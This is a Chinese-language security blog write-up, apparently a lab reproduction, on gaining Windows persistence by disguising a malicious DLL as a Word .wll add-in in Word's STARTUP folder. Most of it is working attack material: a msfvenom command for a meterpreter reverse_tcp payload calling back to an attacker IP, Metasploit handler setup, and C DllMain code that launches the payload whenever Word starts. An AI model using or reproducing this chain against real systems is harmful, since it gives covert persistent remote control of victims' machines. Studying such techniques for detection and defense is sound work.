返回首页
EN
H7 / SECURITY RESEARCH NOTES

利用Word加载项Wll实现Windows系统权限维持

环境说明

IPHOSTNAMENOTE
172.16.106.67Kali Linux攻击者主机
10.10.10.88Windows 10受害者主机

概述

什么是WLL文件?

  • Microsoft Word(文字处理应用程序)使用的插件文件; 包含一个向程序添加新功能的软件组件; 多数由第三方软件开发人员开发和分发,用于将其他技术与Word集成。

如何利用Word的WLL插件?

  • Word的三个受信任位置如下图所示,可以看出受信任位置有Template、有StartUp的。

  • 其中受信任位置StartUp可以用来放置WLL后缀的Word插件,并且WLL后缀的Word插件本质上是DLL文件,只是使用了WLL后缀罢了。那么基于这两个特点,我们编写恶意的DLL,然后将后缀改为WLL,并放置于StartUp目录下,那么当Word应用程序启动的时候,就能执行任意代码了。

复现过程

MSF生成Payload

msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=172.16.106.67 LPORT=2335 ‐f exe > attack_demo.exe

攻击机开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.106.67
set lport 2335
exploit

/articles/li-yong-word-jia-zai-xiang-wll-shi-xian-windows-xi-tong-quan-xian-wei-ch-0cce76e0/test_146.png)

投递Payload

  • 攻击机本地启动apache服务,将其放置于web目录下

  • 受害者通过访问web目录下载Payload,并将其放置于如下目录

编写DLL文件加载Payload

#include "pch.h"
#include <stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("start E:/payload/attack_demo.exe");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

WLL文件放置于StartUp目录并打开Word应用程序

  • 前面提到了Word加载项".wll"后缀的文件,本质是放在word启动目录下的dll文件,每次word启动的时候都会加载以下目录中".wll"后缀的文件
$env:userprofile\Appdata\Roaming\Microsoft\Word\STARTUP
  • 此时我们将编写的恶意dll后缀修改为wll放置于word启动目录

  • 启动Word应用程序

  • 如下图所示,攻击机MSF获取到一个Session

参考链接

1.https://cloud.tencent.com/developer/article/1819454
2.https://pentestlab.blog/2019/12/11/persistence-office-application-startup/